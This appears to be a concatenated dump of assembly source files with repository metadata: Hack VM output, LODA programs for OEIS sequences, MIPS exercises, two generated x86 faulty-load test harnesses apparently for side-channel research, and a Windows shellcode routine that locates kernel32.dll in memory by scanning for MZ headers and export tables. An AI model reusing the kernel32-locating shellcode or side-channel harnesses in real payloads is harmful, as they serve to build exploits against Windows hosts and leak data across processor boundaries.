M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//push constant 888
@888 //A=index
D=A //D is now the constant
@SP
A=M //A = @SP
M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//pop static 8
@SP
AM=M-1 //AM = M[SP] - 1
D=M //D = the value to pop
@R13
M=D //save the value in R13
@24 //A = RAM @24
D=A //D is now @static + index
@R14
M=D //save D value
@R13
D=M //D= value to pop
@R14
A=M //A = (segmentBase+index)
M=D //M[A] = value to pop
//pop static 3
@SP
AM=M-1 //AM = M[SP] - 1
D=M //D = the value to pop
@R13
M=D //save the value in R13
@19 //A = RAM @19
D=A //D is now @static + index
@R14
M=D //save D value
@R13
D=M //D= value to pop
@R14
A=M //A = (segmentBase+index)
M=D //M[A] = value to pop
//pop static 1
@SP
AM=M-1 //AM = M[SP] - 1
D=M //D = the value to pop
@R13
M=D //save the value in R13
@17 //A = RAM @17
D=A //D is now @static + index
@R14
M=D //save D value
@R13
D=M //D= value to pop
@R14
A=M //A = (segmentBase+index)
M=D //M[A] = value to pop
//push static 3
@19 //A = RAM @19
D=A //D is now @static + index
A=D //A = @ contained in D
D=M//D=M[A], value to push
@SP
A=M //A = @SP
M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//push static 1
@17 //A = RAM @17
D=A //D is now @static + index
A=D //A = @ contained in D
D=M//D=M[A], value to push
@SP
A=M //A = @SP
M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//sub
@SP
AM=M-1 //AM[SP] = M[SP] - 1 e.g @y
D=-M //D=-M[A] e.g -y
A=A-1 //A = @y - 1 e.g @x
M=D+M //M[@x] = -y + M[@x]
//push static 8
@24 //A = RAM @24
D=A //D is now @static + index
A=D //A = @ contained in D
D=M//D=M[A], value to push
@SP
A=M //A = @SP
M=D //M[A] = value to push
@SP
M=M+1 //sp+1
//add
@SP
AM=M-1 //AM[SP] = M[SP] - 1 e.g @y
D=M //D=M[A] e.g y
A=A-1 //A = @y - 1 e.g @x
M=D+M //M[@x] = y + M[@x]
| 18.267857 | 35 | 0.521994 |
b28f81636a7d28d7b355b46247b2fc3fefbb0d7a | 616 | asm | Assembly | oeis/285/A285979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/285/A285979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/285/A285979.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A285979: Positions of 0 in A285978; complement of A285980.
; Submitted by Christian Krause
; 1,4,11,14,18,24,31,37,41,44,51,54,58,64,68,71,78,84,91,94,98,104,111,117,121,124,131,137,144,147,151,157,161,164,171,174,178,184,191,197,201,204,211,214,218,224,228,231,238,244,251,254,258,264,268,271,278,281,285,291,298,304,308,311,318,324,331,334,338,344,351,357,361,364,371,374,378,384,388,391,398,404,411,414,418,424,431,437,441,444,451,457,464,467,471,477,481,484,491,494
mov $3,$0
seq $0,284393 ; Positions of 1 in A284391; complement of A284392.
mul $0,-1
mov $2,2
sub $3,$0
div $0,2
mul $2,$3
add $0,$2
sub $0,1
| 44 | 378 | 0.714286 |
5b0eb37bb8729284e7583f472d1b78307239b18f | 439 | asm | Assembly | oeis/276/A276489.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/276/A276489.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/276/A276489.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A276489: a(n) = 25^(n+1)*Gamma(n+8/5)/Gamma(3/5).
; Submitted by Jamie Morken(s4)
; 15,600,39000,3510000,403650000,56511000000,9324315000000,1771619850000000,380898267750000000,91415584260000000000,24225129828900000000000,7025287650381000000000000,2212965609870015000000000000,752408307355805100000000000000,274629032184868861500000000000000
mov $1,1
mov $2,3
lpb $0
sub $0,1
mul $1,5
add $2,5
mul $1,$2
lpe
mov $0,$1
mul $0,15
| 29.266667 | 259 | 0.781321 |
67b5e1e38f0419a48c4ac5d8c2d3047a1f2a1b11 | 762 | asm | Assembly | oeis/189/A189179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/189/A189179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/189/A189179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A189179: Number of n X 2 array permutations with each element making a single king move.
; Submitted by Christian Krause
; 1,9,33,185,913,4777,24577,127385,658801,3410313,17648609,91343481,472746833,2446730345,12663143361,65538688857,339198332209,1755536122697,9085854920609,47024245778489,243376070611729,1259603657442857,6519134637205377,33740070686010649,174623233459789041,903770295847701769,4677503282101494625,24208625858541655545,125292817687551027921,648458539358297847785,3356125953805026861889,17369778843457509253849,89898061402774888152241,465271407126824047986377,2408032819749899644479265
add $0,1
mov $2,1
lpb $0
sub $0,1
mov $3,$4
mov $4,$2
add $2,$3
add $2,$3
mul $3,2
mul $5,4
add $2,$5
add $2,$3
add $5,$4
lpe
mov $0,$2
| 38.1 | 481 | 0.805774 |
94f082ff7a38f2e2eeee57277483d8d8d7d4b454 | 786 | asm | Assembly | MaxDelete.asm | ILZM/mips_examples | eddd38d1721756c6aa7b916b434a7980a2b3e2d5 | [
"Unlicense"
] | null | null | null | MaxDelete.asm | ILZM/mips_examples | eddd38d1721756c6aa7b916b434a7980a2b3e2d5 | [
"Unlicense"
] | null | null | null | MaxDelete.asm | ILZM/mips_examples | eddd38d1721756c6aa7b916b434a7980a2b3e2d5 | [
"Unlicense"
] | null | null | null | .data
array: .word 3 2 1
alength: .word 3
.text
li $a0, 0 # i loop
la $v0, alength
lw $s0, 0($v0)
la $v1, array
li $t0, 0
loop:
lw $s1, 0($v1)
slt $s5, $t0, $s1
beqz $s5, skipassign
add $t0, $zero, $s1
skipassign:
addi $a0, $a0, 1
addi $v1, $v1, 4
slt $s1, $a0, $s0 # i and length
bnez $s1, loop
li $a0, 0 # i loop
la $v1, array # refresh the adress of the array
loop2:
lw $s1, 0($v1)
bne $s1, $t0, skipshift
loop3:
add $t9, $zero, $v1 # save the previous adress
addi $v1, $v1, 4
lw $s1, 0($v1) # k + 1
sw $s1, 0($t9)
addi $a0, $a0, 1
slt $s1, $a0, $s0 # i and length
bnez $s1, loop3
beqz $s1, skipall
skipshift:
addi $a0, $a0, 1
addi $v1, $v1, 4
slt $s1, $a0, $s0 # i and length
bnez $s1, loop2
skipall:
li $s1, 0
sw $s1, 0($t9) | 13.322034 | 48 | 0.561069 |
1a4871d8b108835562ca6852418a6227b0454ff6 | 3,965 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_47_291.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_47_291.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_47_291.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xebd7, %r14
nop
nop
and %rbp, %rbp
mov (%r14), %rdx
nop
nop
sub %rax, %rax
lea addresses_WC_ht+0x19eb7, %rcx
nop
inc %r13
mov $0x6162636465666768, %r15
movq %r15, (%rcx)
dec %rdx
lea addresses_D_ht+0x1430f, %r13
nop
nop
nop
add %rcx, %rcx
and $0xffffffffffffffc0, %r13
vmovaps (%r13), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
nop
and $6695, %r14
lea addresses_WT_ht+0x13ed7, %rsi
lea addresses_normal_ht+0x125d7, %rdi
nop
nop
dec %rbp
mov $55, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0xc297, %rbp
nop
nop
inc %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rbp)
nop
nop
add $21633, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_normal+0x2857, %rsi
lea addresses_PSE+0x10457, %rdi
nop
nop
cmp $29088, %r11
mov $37, %rcx
rep movsb
nop
nop
nop
nop
sub %rdi, %rdi
// Store
lea addresses_US+0xe1c3, %rbp
nop
nop
nop
dec %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm2
movups %xmm2, (%rbp)
nop
add $10279, %r14
// Store
lea addresses_normal+0x16a6b, %r9
nop
nop
nop
nop
nop
add $40374, %rbp
movl $0x51525354, (%r9)
nop
nop
nop
nop
nop
and $59299, %r14
// Store
lea addresses_WT+0x8bd7, %rsi
nop
xor $23221, %rcx
mov $0x5152535455565758, %r11
movq %r11, %xmm4
movntdq %xmm4, (%rsi)
add %r11, %r11
// Store
lea addresses_WT+0x19a3b, %r14
nop
nop
nop
xor $27430, %r9
movb $0x51, (%r14)
nop
nop
inc %r14
// Load
mov $0x68c8870000000817, %r11
add %rdi, %rdi
mov (%r11), %rbp
nop
nop
nop
nop
cmp %r14, %r14
// Faulty Load
lea addresses_normal+0x2857, %r11
nop
nop
nop
nop
inc %rsi
vmovups (%r11), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r14
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_PSE', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'34': 47}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 20.025253 | 152 | 0.650189 |
8ec21b04df0646a99b6aef79e635a48dc2a6b9e7 | 443 | asm | Assembly | MicroProcessor Lab Programs/swap 2.asm | vallabhiaf/4thSemIse | 55ed3c6fc29e4d2dd2c1fb71e31f5283ad47b9bf | [
"Apache-2.0"
] | null | null | null | MicroProcessor Lab Programs/swap 2.asm | vallabhiaf/4thSemIse | 55ed3c6fc29e4d2dd2c1fb71e31f5283ad47b9bf | [
"Apache-2.0"
] | null | null | null | MicroProcessor Lab Programs/swap 2.asm | vallabhiaf/4thSemIse | 55ed3c6fc29e4d2dd2c1fb71e31f5283ad47b9bf | [
"Apache-2.0"
] | null | null | null | assume cs:code,ds:data
data segment
x db 1,2,3,4,5
n dw $-x
y db 11h,22h,33h,44h,55h
data ends
code segment
start:
mov ax,data
mov ds,ax
mov cx,n
lea si,x
lea di,y
next: mov al,[si]
mov bl,[di]
mov [si],bl
mov [di],al
inc si
inc di
loop next
mov ah,4ch
int 21h
code ends
end start
| 15.275862 | 33 | 0.444695 |
0e91e572c878856964615942fd6187b25933f721 | 72 | asm | Assembly | tests/inchexstr/7.asm | dommilosz/customasm | d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32 | [
"Apache-2.0"
] | 414 | 2016-10-14T22:39:20.000Z | 2022-03-30T07:52:44.000Z | tests/inchexstr/7.asm | dommilosz/customasm | d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32 | [
"Apache-2.0"
] | 100 | 2018-03-22T16:12:24.000Z | 2022-03-26T09:19:23.000Z | tests/inchexstr/7.asm | dommilosz/customasm | d2c55b52d64ea47f5cdb91cd8ec463f37ccadf32 | [
"Apache-2.0"
] | 47 | 2017-06-29T15:12:13.000Z | 2022-03-10T04:50:51.000Z | #d x ; = 0x64617461312e747874
#d inchexstr(x) ; = 0x0180
x = "data1.txt" | 24 | 29 | 0.666667 |
2fa09aff72c41bdcaa56177548f8c659b5e46e3c | 610 | asm | Assembly | programs/oeis/313/A313613.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/313/A313613.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/313/A313613.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A313613: Coordination sequence Gal.4.72.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,14,20,24,29,34,39,44,48,54,58,63,68,73,78,82,88,92,97,102,107,112,116,122,126,131,136,141,146,150,156,160,165,170,175,180,184,190,194,199,204,209,214,218,224,228,233,238
mov $1,$0
add $1,3
mov $3,$0
mov $5,$0
mov $0,1
mov $2,3
add $3,4
add $1,$3
lpb $1
trn $1,3
trn $4,$1
sub $0,$4
add $0,3
sub $1,3
add $2,1
sub $1,$2
add $1,1
trn $1,1
mov $2,0
mov $4,2
lpe
lpb $5
add $0,4
sub $5,1
lpe
sub $0,3
| 20.333333 | 178 | 0.639344 |
5ea0f617d2ceb8c576532ada63d8d720d55ff327 | 7,709 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_857.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_857.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_857.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x13d67, %rsi
lea addresses_normal_ht+0x144d7, %rdi
nop
nop
add $31396, %r14
mov $83, %rcx
rep movsb
nop
nop
nop
nop
and %r12, %r12
lea addresses_D_ht+0xc827, %rsi
lea addresses_WC_ht+0x15f67, %rdi
nop
nop
nop
nop
add $33065, %r11
mov $73, %rcx
rep movsw
nop
nop
nop
nop
nop
add $55620, %rcx
lea addresses_D_ht+0xed27, %r14
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%r14)
nop
nop
nop
xor %r14, %r14
lea addresses_WT_ht+0x163a7, %rsi
lea addresses_D_ht+0x11ca7, %rdi
nop
nop
dec %r9
mov $22, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rcx
lea addresses_A_ht+0x10f27, %rsi
lea addresses_normal_ht+0x7927, %rdi
clflush (%rdi)
cmp %r12, %r12
mov $105, %rcx
rep movsl
and %r9, %r9
lea addresses_UC_ht+0x98df, %rsi
lea addresses_A_ht+0x16cf, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $49, %rcx
rep movsw
sub %r11, %r11
lea addresses_WC_ht+0x3aa7, %r14
clflush (%r14)
and %rcx, %rcx
mov (%r14), %rdi
nop
nop
inc %rsi
lea addresses_A_ht+0x51e7, %rsi
lea addresses_D_ht+0x13a43, %rdi
nop
nop
nop
nop
xor $409, %r9
mov $72, %rcx
rep movsl
nop
cmp %r9, %r9
lea addresses_WC_ht+0x9fa7, %rsi
lea addresses_A_ht+0x13aad, %rdi
clflush (%rsi)
nop
nop
cmp %r15, %r15
mov $6, %rcx
rep movsq
nop
nop
dec %rdi
lea addresses_A_ht+0x151a7, %rdi
nop
nop
xor $33186, %r14
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_WT_ht+0x7ba7, %rsi
lea addresses_WC_ht+0x1527, %rdi
nop
nop
nop
nop
nop
and $56654, %r12
mov $52, %rcx
rep movsl
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0xb127, %r14
clflush (%r14)
nop
nop
xor $15486, %rsi
mov (%r14), %r12w
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x87a7, %r11
clflush (%r11)
sub %r14, %r14
movl $0x61626364, (%r11)
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_UC_ht+0x167a7, %rsi
lea addresses_normal_ht+0x2de7, %rdi
nop
nop
nop
nop
nop
cmp $23085, %r12
mov $116, %rcx
rep movsl
nop
xor %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rcx
push %rsi
// Faulty Load
lea addresses_RW+0x27a7, %rcx
nop
nop
xor %r11, %r11
mov (%rcx), %r15d
lea oracles, %rcx
and $0xff, %r15
shlq $12, %r15
mov (%rcx,%r15,1), %r15
pop %rsi
pop %rcx
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': True, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 33.663755 | 2,999 | 0.660527 |
ccaa2bbf831e98b57ed0ef34aec69acd1ef2946f | 1,158 | asm | Assembly | memorySieve2.asm | nixpal/kernel32-finder | f065b2348be47211f440b82c4af34571f95a5811 | [
"MIT"
] | null | null | null | memorySieve2.asm | nixpal/kernel32-finder | f065b2348be47211f440b82c4af34571f95a5811 | [
"MIT"
] | null | null | null | memorySieve2.asm | nixpal/kernel32-finder | f065b2348be47211f440b82c4af34571f95a5811 | [
"MIT"
] | null | null | null | ; Author: Tarek Ahmed
; All rights reserved
; email: unix.geek2014@gmail.com
; This version of memory sieve will work only if you use assembly file and not included as a shellcode. You can also use it as an inline assembly in a C program.
xor eax, eax
cdq
pop eax
push eax
sub esp, 0x8
xor ecx, ecx
checkFirstByte:
inc ecx
mov edx, dword ptr[eax+ecx]
cmp dl, 0xff
jne checkFirstByte
cmp byte ptr[eax+ecx+1], 0x15
jne checkFirstByte
jmp foundByte
foundByte:
mov bl, byte ptr [eax+ecx+5]
cmp bl, 0
je foundPtr
jmp checkFirstByte
foundPtr:
xor ebx, ebx
mov ebx, dword ptr[eax + ecx + 2]
mov edi, [ebx]
shr edi, 28
cmp edi, 7
je foundPossibleAddr
jmp checkFirstByte
foundPossibleAddr:
mov ebx, [ebx]
xor edx, edx
mov dx, 0x1001
add edx, 0xefff
findMZ:
sub ebx, edx
mov bx, dx
mov ax, [ebx]
cmp ax, 0x5a4d
jne findMZ
mov edi, [ebx + 0x3c]
add edi, ebx
mov edi, [edi + 0x78]
add edi, ebx
mov edi, [edi + 0xc]
add edi, ebx
add edi, 4
xor eax, eax
push eax
push 0x6c6c642e
push 0x32334c45
mov esi, esp
checkKernel :
mov edx, ecx
mov ecx, 8
cld
repe cmpsb
cmp ecx, 0
jne checkFirstByte
FoundKernel32:
| 14.296296 | 161 | 0.700345 |
9d6e8ff9cd3e33748f75fa80625fbcf6bf507635 | 51,763 | asm | Assembly | stressfs.asm | sparsh99/xv6 | 5c1e2f9dd00b167e316ce0549dc2bc021f47a6af | [
"MIT-0"
] | null | null | null | stressfs.asm | sparsh99/xv6 | 5c1e2f9dd00b167e316ce0549dc2bc021f47a6af | [
"MIT-0"
] | null | null | null | stressfs.asm | sparsh99/xv6 | 5c1e2f9dd00b167e316ce0549dc2bc021f47a6af | [
"MIT-0"
] | null | null | null |
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
